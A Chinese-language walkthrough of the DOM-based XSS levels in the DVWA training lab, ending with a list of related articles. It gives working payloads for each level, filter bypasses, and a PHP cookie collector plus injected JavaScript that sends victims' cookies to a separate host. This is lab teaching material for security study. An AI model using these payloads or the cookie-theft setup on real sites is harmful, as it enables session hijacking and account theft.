XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie

DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行

LOW

审计源码



没有任何过滤

点击提交后可以看到default传参的内容为English



English改为<script>alert(document.cookie)</script>

成功弹出cookie,利用成功

反弹cookie

真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件

getcookie.php

<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>



然后使用javascript获取cookie值,并访问getcookie.phpgetcookie.php会将cookie值保存到cookie.txt

首先测试访问getcookie.php是否正常

http://192.168.1.131/getcookie.php?cookie=nihao



查看是否生成cookie.txt



正常执行

default传入

default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>



执行后查看cookie.txt是否反弹成功

成功反弹

Meidum

审计源码


<?php // 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default']; // stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>

传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'

测试default=<img src=1 onerror=alert(document.cookie)>



并没有弹窗,使用检查查看default的值传到了哪里



通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合

default=</option><img src=1 onerror=alert(document.cookie)>



闭合后依然没有弹窗,再次检查查看default值传入了哪里



还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签

default=</select><img src=1 onerror=alert(document.cookie)>



可以看到成功弹窗,检查查看是如何闭合的

Hihg

审计源码


<?php // 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
} ?>

这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行

这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是



从这里可以看出,将lang的值写入到页面中标签,value的值

所以,这里只要让后端检测不到即可

使用#,就可以绕过后端的检测,GET并不会获取到#号后面的内容,PHP认为#号后面注释的内容

测试default=English #<script>alert(/xss/)</script>

注意English后面时候空格的,如果不输入空格,会被当做default的值传入后端



当然&号也是可以的,&会被后端认为是另一个传参,也不会接收

default=English&<script>alert(document.cookie)</script>

&号前面是没有空格的,传参是紧密相连的

Impossible

审计源码



这里写到不做任何处理,在前段处理

查看前段代码



这里多了一个括号,这个括号就能阻止XSS了吗,我不相信

传入default=<script>alert(/xss/)</script>测试



可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符

DVWA-XSS (DOM) DOM型跨站脚本攻击的更多相关文章

  1. DVWA之DOM XSS(DOM型跨站脚本攻击)

    目录 Low Medium High Impossible Low 源代码: <?php # No protections, anything goes ?> 从源代码可以看出,这里low ...

  2. XSS CSS Cross SiteScript 跨站脚本攻击

    XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893 XSS又称CSS,全称Cross S ...

  3. 渗透之路基础 -- 跨站脚本攻击XSS

    目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...

  4. WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...

  5. 跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...

  6. DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

    XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...

  7. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  8. DVWA XSS (DOM) 通关教程

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...

  9. XSS(跨站脚本攻击)的最全总结

    从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...

  10. XSS(跨站脚本攻击)简单讲解

    1.1 XSS简介 跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意 ...

随机推荐

  1. memoのVIM

    必须给今天看到的vim相关的东西记录一下! vim文档中文化 https://github.com/yianwillis/vimcdoc 速查表 https://github.com/skywind3 ...

  2. 北大2022编译原理实践(C/C++)-sysy 编译器构建

    这是今年新推出的实践方案,由往年的sysy->IR1->IR2->RISC V变成了sysy->Koopa->RISC V,通过增量的方式让整个实践过程更容易上手 所以先 ...

  3. Day11-数组的使用

    数组的使用 一.数组的使用 package com.array; public class ArrayDemo03 { public static void main(String[] args) { ...

  4. MyBatis Generator使用方法

    第一步:在resources文件夹下创建一个目录mybatis-generator,在目录mybatis-generator下创建文件generatorConfig.xml(此处的目录名可任意取) 第 ...

  5. Liunx mosquitto卸载

    1.查询文件: whereis mosquitto whereis mosquitto_sub 2.删除查询到的文件,命令: rm -rf /etc/mosquitto rm -f /usr/loca ...

  6. Vue项目目录树

  7. Linux /proc 目录

    /proc 目录 /proc 文件目录是一个伪文件,它只存在于系统内存中,而不占用外存空间.它以文件系统的方式为用户提供访问内核数据的操作接口.目录下主要包含进程和状态的信息. /proc 下文件含义 ...

  8. Day02 差点水掉 欸呀呀

    Java狂神6.17星期四 知识行 冯诺依曼+图灵 软件+硬件 .......... 快捷键 ctrl+a 全选 ctrl+x 剪切 alt+F4 关闭窗口 win+r 运行 +cmd命令行 win+ ...

  9. supper网盘快速下载器

    本人搬砖党喜欢和大家分享一些快速文档 废话少说 很好用,亲测.对有需求的人 速度很快 软件永久有效下载链接:链接: https://pan.baidu.com/s/1g6LIk4mw18Bov0U7D ...

  10. Linux(2)

    虚拟机关键配置名词解释 远程链接工具 linux准则 远程链接工具快捷键 系统相关命令 文件相关命令 linux目录结构 虚拟机关键配置名词解释 # 虚拟网络编辑器说明 桥接模式  # 可以访问互联网 ...